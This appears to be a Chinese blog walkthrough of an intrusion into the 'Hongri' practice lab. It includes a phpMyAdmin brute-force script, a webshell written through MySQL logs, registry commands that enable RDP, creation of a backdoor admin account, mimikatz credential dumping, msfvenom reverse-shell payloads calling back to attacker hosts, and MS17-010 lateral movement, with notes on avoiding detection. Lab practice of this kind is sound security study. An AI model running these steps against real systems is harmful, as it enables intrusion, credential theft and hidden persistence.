1. 程式人生 > 其它 >【Penetration】紅日靶場(一)

【Penetration】紅日靶場(一)

nmap探查存活主機
nmap -sP 10.10.2.0/24
圖片: https://uploader.shimo.im/f/cfuQ653BEvyA42FR.png!thumbnail?accessToken=eyJhbGciOiJIUzI1NiIsImtpZCI6ImRlZmF1bHQiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJhY2Nlc3NfcmVzb3VyY2UiLCJleHAiOjE2MzUyNTIxODYsImciOiJ5OEpYSFJ0ZDZ5a1lyR2prIiwiaWF0IjoxNjM1MjUxODg2LCJ1c2VySWQiOjY5NDQ5MzgzfQ.nTdCWCFelxGW4QkiZg_ZZ2gKsN2kA6FGCqNgkT5MQN8

nmap探查目標主機服務
nmap -sV 10.10.2.145
圖片: https://uploader.shimo.im/f/NAPgMmL8pPSn4aqp.png!thumbnail?accessToken=eyJhbGciOiJIUzI1NiIsImtpZCI6ImRlZmF1bHQiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJhY2Nlc3NfcmVzb3VyY2UiLCJleHAiOjE2MzUyNTIxODYsImciOiJ5OEpYSFJ0ZDZ5a1lyR2prIiwiaWF0IjoxNjM1MjUxODg2LCJ1c2VySWQiOjY5NDQ5MzgzfQ.nTdCWCFelxGW4QkiZg_ZZ2gKsN2kA6FGCqNgkT5MQN8

很多不認識的服務,只能一個個去百度了

對msrpc服務進行探測
msrpc MS Remote Procedure Control
直接谷歌,看看有沒有可以利用的

發現一個MS08-067漏洞---MSRPC over SMB,測試了暴露出來的所有埠,並無結果

對MySQL服務進行探測
對服務進行進一步探測
use auxiliary/scanner/mysql/mysql_version
服務確實存在,本想著直接使用 mysql_sql直接連線,然後執行,但似乎沒用,猜測是不是隻允許內網訪問

嘗試使用mysql_login模組進行密碼爆破
搞了好久,發現有些模組在測試的時候,把ip地址輸入錯誤了,只能重來

百度了,說unauthorized就是不允許訪問的意思,估計就是隻限內網訪問把
對ssl/ms-wbt-server
貌似不好利用,等下再來

對http服務進行探測
網站資訊收集

網站的絕對路徑是 C:/phpStudy/WWW
資料庫採用的是 mysql
php 版本5.4.45

圖片: https://uploader.shimo.im/f/dVfiMM4AaXqJGezF.png!thumbnail?accessToken=eyJhbGciOiJIUzI1NiIsImtpZCI6ImRlZmF1bHQiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJhY2Nlc3NfcmVzb3VyY2UiLCJleHAiOjE2MzUyNTIxODYsImciOiJ5OEpYSFJ0ZDZ5a1lyR2prIiwiaWF0IjoxNjM1MjUxODg2LCJ1c2VySWQiOjY5NDQ5MzgzfQ.nTdCWCFelxGW4QkiZg_ZZ2gKsN2kA6FGCqNgkT5MQN8

直接訪問,是一個phpStudy探針,應該就是和phpinfo差不多的東西把
10.10.2.145/l.php
看看探針,為什麼下面測試的密碼是對的???
圖片: https://uploader.shimo.im/f/DPmRk4aSwrrSluBA.png!thumbnail?accessToken=eyJhbGciOiJIUzI1NiIsImtpZCI6ImRlZmF1bHQiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJhY2Nlc3NfcmVzb3VyY2UiLCJleHAiOjE2MzUyNTIxODYsImciOiJ5OEpYSFJ0ZDZ5a1lyR2prIiwiaWF0IjoxNjM1MjUxODg2LCJ1c2VySWQiOjY5NDQ5MzgzfQ.nTdCWCFelxGW4QkiZg_ZZ2gKsN2kA6FGCqNgkT5MQN8
抓包發現密碼是root/root.就是不知道是真的,還是僅僅是探測密碼!!!所以開發人員要注意,避免密碼洩露

似乎沒什麼了,先掃描一下目錄把
網站返回403,還是需要關注下,這只是說明沒有許可權訪問,但是還是可能存在的

DirBurst直接掃描目錄,發現了phpmyadmin,而且密碼好像就是root/root,不知道是不是有快取的原因,,將密碼改動了下,再次進行模擬探測
還掃描到了之前上傳的 木馬,哈哈哈哈,事實證明資訊收集很重要

這裡還有另外一條路子,就是其實還有一個cms站,裡面也有東西,可以直接修改模板,最後葉形成webshell

對phpmyadmin進行密碼爆破,但結果發現都是302轉發,那怎麼判斷密碼是否正確呢?好像可以設定跟著跳轉,又學會了一個新技巧

對phpmyadmin爆破時有個關鍵點,就是每次訪問都會換一個token,所以直接用bp似乎是沒法爆破的,除非能自動匹配token並將token放在請求頭
圖片: https://uploader.shimo.im/f/jKDkmUs8iAAGhLC0.png!thumbnail?accessToken=eyJhbGciOiJIUzI1NiIsImtpZCI6ImRlZmF1bHQiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJhY2Nlc3NfcmVzb3VyY2UiLCJleHAiOjE2MzUyNTIxODYsImciOiJ5OEpYSFJ0ZDZ5a1lyR2prIiwiaWF0IjoxNjM1MjUxODg2LCJ1c2VySWQiOjY5NDQ5MzgzfQ.nTdCWCFelxGW4QkiZg_ZZ2gKsN2kA6FGCqNgkT5MQN8

直接在網上巴拉了個指令碼
from requests import session
from re import findall
from html import unescape

phpmyadmin地址,例如 http://localhost/index.php

target = 'http://localhost/index.php'

要爆破的使用者名稱

user = 'root'

密碼字典檔案路徑

passdic = 'password.txt'

ss = session()
ss.headers = {'Accept': '/', 'Accept-Encoding': 'gzip, deflate',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/87.0.4280.88 Safari/537.36'}

def get_token(text) -> str:
# 獲取token
token = findall("name="token" value="(.*?)" />", text)
return unescape(token[0]) if token else None

def get_title(text) -> str:
# 獲取標題
title = findall('(.*)', text)
return title[0] if title else None

def try_login(user, pwd, token):
# 嘗試登陸
data = {'pma_username': user,
'pma_password': pwd,
'server': 1,
'target': 'index.php',
'token': token}
r = ss.post(url=target, data=data)
return r.text

def burst_pma():
# 爆破
with open(passdic, 'r', encoding='utf-8') as f:
html = try_login('', '', '')
title_fail = get_title(html)
token = get_token(html)
for line in f:
pwd = line.strip()
print(f'[?] loading... {user} {pwd} ')
html = try_login(user, pwd, token)
title = get_title(html)
token = get_token(html)
if title != title_fail:
print(f'[√] success {title}')
with open('success.txt', 'a', encoding='utf-8') as f:
f.write(f'{target} | {user} | {pwd}\n')
break
else:
print(f'[×] failed {title}')

try:
    if __name__ == "__main__":
        burst_pma()
except Exception as e:
    print(e)

最後爆破出了密碼 123456

拿到phpmyadmin ,直接嘗試寫入webshell,參考webshell需要什麼??
直接寫webshell到剛開始的網站目錄下 C:/phpStudy/WWW
發現開啟了secure_file_priv ,無法對檔案直接寫入,嘗試log寫入,log包括正常log,慢日誌,錯誤日誌
成功寫入webshell,mima pJack直接連antsword,但似乎連不上,可能有各種原因把,這個時候就嘗試用各種webshell工具連線,最終用開山符連線上了

進入內網滲透環節
開山斧似乎無法開啟shell,嘗試用msfvenmon生成反彈shell,然後上傳到靶機,並執行,但好像也要執行命令列執行才行。
換了菜刀,這下檔案,shell終於都可以操作了
先用命令列開啟3389,可以避免被防毒軟體發現
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /F

reg add    "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fDenyTSConnections /t REG_DWORD /d 0

成功 新增一個使用者,並將其新增至本地管理員組和遠端桌面組,用於遠端桌面訪問
net user aur0ra 123.com
net localgroup "Remote Desktop Users" aur0ra /add
net localgroup Administrator aur0ra /add

遠端桌面訪問會擠出另外一個使用者,極有可能被發現,怎麼處理?
暫時先直接在靶機上開啟,但應該有命令列操作組策略的方法
內網滲透
資訊收集
操作見另外一章
1.獲取DC
2.通過本地使用者,來猜測是否是域使用者
3.密碼提取工具獲取密碼,並將密碼作為一個字典,用於爆破其他使用者
使用mimikatz,抓取密碼,但貌似失敗了,原因是沒有以管理員身份開啟
使用mimikatz抓取密碼:提權,抓取
aur0ra/123.com
Administrator/123.com
猜測該使用者會不會就是域管理員
好傢伙,真就是域管理員,那後面不久隨意飄了
收集到的資訊
域為 god.org
DC---192.168.52.128
獲取域使用者
Administrator/123.com
通過bat指令碼獲取系統架構資訊

到此已經拿下一臺主機

接著以該主機為跳板,遞迴搜尋其他資訊
為了集中管理,將所有的會話交給msf

先用msfvenom生成exp,windows優先生成ps指令碼,不容易被查殺
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.2.149 LROST=6666 -f psh-reflection > /tmp/evil.ps1
再通過菜刀將檔案上傳,msf開啟監聽
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
...
由於是接著滲透,所以不知道為什麼出現3389連線不上,原來是新增的使用者僅僅是本地使用者,但登入的時候用的是域使用者登入的
但還是不能解決單點登入的問題,在這裡直接在靶機上,或者通過rdektop臨時操作,但實際情況下,會把對方擠下線,從而被發現,所以這中方式肯定是不行的用工具後面自己解決
先學用命令列操作登錄檔、組策略
再開啟3389多點登入的問題
圖片: https://uploader.shimo.im/f/jJTDrG7ocXsTyM1P.png!thumbnail?accessToken=eyJhbGciOiJIUzI1NiIsImtpZCI6ImRlZmF1bHQiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJhY2Nlc3NfcmVzb3VyY2UiLCJleHAiOjE2MzUyNTIxODYsImciOiJ5OEpYSFJ0ZDZ5a1lyR2prIiwiaWF0IjoxNjM1MjUxODg2LCJ1c2VySWQiOjY5NDQ5MzgzfQ.nTdCWCFelxGW4QkiZg_ZZ2gKsN2kA6FGCqNgkT5MQN8
直接在powershell中執行指令碼,發現失敗,應該是策略禁止powershell執行
對powershell不同的限制策略
https://blog.csdn.net/Jeffxu_lib/article/details/84710386

修改組策略
Get-ExecutionPolicy 檢視ps策略
Get-ExecutionPolicy -List 檢視所有的策略
Set-ExecutionPolicy unrestricted修改策略為鬆
修改失敗,發現只能用管理員

不管怎麼樣都反彈失敗,換個exe試試?

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.2.141 LPORT=9999 -f exe -o 123.exe

msfvenom 自動生成木馬

還是一樣,上傳,執行
成功反彈shell
圖片: https://uploader.shimo.im/f/wxvnmd9x3EyXlKbf.png!thumbnail?accessToken=eyJhbGciOiJIUzI1NiIsImtpZCI6ImRlZmF1bHQiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJhY2Nlc3NfcmVzb3VyY2UiLCJleHAiOjE2MzUyNTIxODYsImciOiJ5OEpYSFJ0ZDZ5a1lyR2prIiwiaWF0IjoxNjM1MjUxODg2LCJ1c2VySWQiOjY5NDQ5MzgzfQ.nTdCWCFelxGW4QkiZg_ZZ2gKsN2kA6FGCqNgkT5MQN8

又到了提權階段
kali中執行Windows-Exploit-Suggester工具
use post/multi/recon/local_exploit_suggester
圖片: https://uploader.shimo.im/f/aAtdJ4FtbbxrRyQf.png!thumbnail?accessToken=eyJhbGciOiJIUzI1NiIsImtpZCI6ImRlZmF1bHQiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJhY2Nlc3NfcmVzb3VyY2UiLCJleHAiOjE2MzUyNTIxODYsImciOiJ5OEpYSFJ0ZDZ5a1lyR2prIiwiaWF0IjoxNjM1MjUxODg2LCJ1c2VySWQiOjY5NDQ5MzgzfQ.nTdCWCFelxGW4QkiZg_ZZ2gKsN2kA6FGCqNgkT5MQN8

不知道為什麼提權都失敗了

用 background 將會話掛起,想用再用 sessions -i 進行互動就行,還可以使用shell進入靶機命令列

橫向咯

先對內網進行掃描,很多東西,這裡利用msf自帶的掃描模組auxiliary/scanner/netbios/nbname
儘量用一些比較底層的協議進行探測,不容易被發現
使用自帶的ping探測
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.2.%I | findstr 0%

這裡有點問題,就是findstr的用法。加了雙引號和不加的區別

search scanner看msf中的探測模組型別

下面主要常用的掃描模組

auxiliary/scanner/netbios/nbname #探測內網主機的netbios名字
auxiliary/scanner/discovery/arp_sweep #基於arp協議發現內網存活主機,這不能通過代理使用
auxiliary/scanner/portscan/ack #基於tcp的ack回覆進行埠掃描,預設掃描1-10000埠
auxiliary/scanner/portscan/tcp #基於tcp進行埠掃描,預設掃描1-10000埠
auxiliary/scanner/discovery/udp_sweep #基於udp協議發現內網存活主機
auxiliary/scanner/discovery/udp_probe #基於udp協議發現內網存活主機
auxiliary/scanner/netbios/nbname #基於netbios協議發現內網存活主機
auxiliary/scanner/ftp/ftp_version #發現內網ftp服務,基於預設21埠
auxiliary/scanner/ssh/ssh_version #發現內網ssh服務,基於預設22埠
auxiliary/scanner/telnet/telnet_version #發現內網telnet服務,基於預設23埠
auxiliary/scanner/dns/dns_amp #發現dns服務,基於預設53埠
auxiliary/scanner/http/http_version #發現內網http服務,基於預設80埠
auxiliary/scanner/http/title #探測內網http服務的標題
auxiliary/scanner/smb/smb_version #發現內網smb服務,基於預設的445埠
use auxiliary/scanner/mssql/mssql_schemadump #發現內網SQLServer服務,基於預設的1433埠
use auxiliary/scanner/oracle/oracle_hashdump #發現內網oracle服務,基於預設的1521埠
auxiliary/scanner/mysql/mysql_version #發現內網mysql服務,基於預設3306埠
auxiliary/scanner/rdp/rdp_scanner #發現內網RDP服務,基於預設3389埠
auxiliary/scanner/redis/redis_server #發現內網Redis服務,基於預設6379埠
auxiliary/scanner/db2/db2_version #探測內網的db2服務,基於預設的50000埠
auxiliary/scanner/discovery/arp_sweep

圖片: https://uploader.shimo.im/f/lgt9NUQ1cyGmRJip.png!thumbnail?accessToken=eyJhbGciOiJIUzI1NiIsImtpZCI6ImRlZmF1bHQiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJhY2Nlc3NfcmVzb3VyY2UiLCJleHAiOjE2MzUyNTIxODYsImciOiJ5OEpYSFJ0ZDZ5a1lyR2prIiwiaWF0IjoxNjM1MjUxODg2LCJ1c2VySWQiOjY5NDQ5MzgzfQ.nTdCWCFelxGW4QkiZg_ZZ2gKsN2kA6FGCqNgkT5MQN8

所以內網主機還有 192.168.52.128|141

對埠服務進行掃描
use auxiliary/scanner/portscan/tcp
對80 445 3389 埠進行掃描

圖片: https://uploader.shimo.im/f/0ZEVIYJn4vWzCu2b.png!thumbnail?accessToken=eyJhbGciOiJIUzI1NiIsImtpZCI6ImRlZmF1bHQiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJhY2Nlc3NfcmVzb3VyY2UiLCJleHAiOjE2MzUyNTIxODYsImciOiJ5OEpYSFJ0ZDZ5a1lyR2prIiwiaWF0IjoxNjM1MjUxODg2LCJ1c2VySWQiOjY5NDQ5MzgzfQ.nTdCWCFelxGW4QkiZg_ZZ2gKsN2kA6FGCqNgkT5MQN8

看看是否存在 ms17-010永恆之藍漏洞
圖片: https://uploader.shimo.im/f/kfodN5tVNiXptPyE.png!thumbnail?accessToken=eyJhbGciOiJIUzI1NiIsImtpZCI6ImRlZmF1bHQiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJhY2Nlc3NfcmVzb3VyY2UiLCJleHAiOjE2MzUyNTIxODYsImciOiJ5OEpYSFJ0ZDZ5a1lyR2prIiwiaWF0IjoxNjM1MjUxODg2LCJ1c2VySWQiOjY5NDQ5MzgzfQ.nTdCWCFelxGW4QkiZg_ZZ2gKsN2kA6FGCqNgkT5MQN8

還真有

直接使用ms17-010-command執行命令
auxiliary/admin/smb/ms17_010_command
圖片: https://uploader.shimo.im/f/VmSQdsD2Rybxcuy5.png!thumbnail?accessToken=eyJhbGciOiJIUzI1NiIsImtpZCI6ImRlZmF1bHQiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJhY2Nlc3NfcmVzb3VyY2UiLCJleHAiOjE2MzUyNTIxODYsImciOiJ5OEpYSFJ0ZDZ5a1lyR2prIiwiaWF0IjoxNjM1MjUxODg2LCJ1c2VySWQiOjY5NDQ5MzgzfQ.nTdCWCFelxGW4QkiZg_ZZ2gKsN2kA6FGCqNgkT5MQN8

怎麼發現又反彈失敗呢(以後還是一鼓作氣搞完把),exe也沒用了,看看還有什麼其他的

害,不管了,反正後面就是關於cs和msf聯動的東西了,道理都是一樣的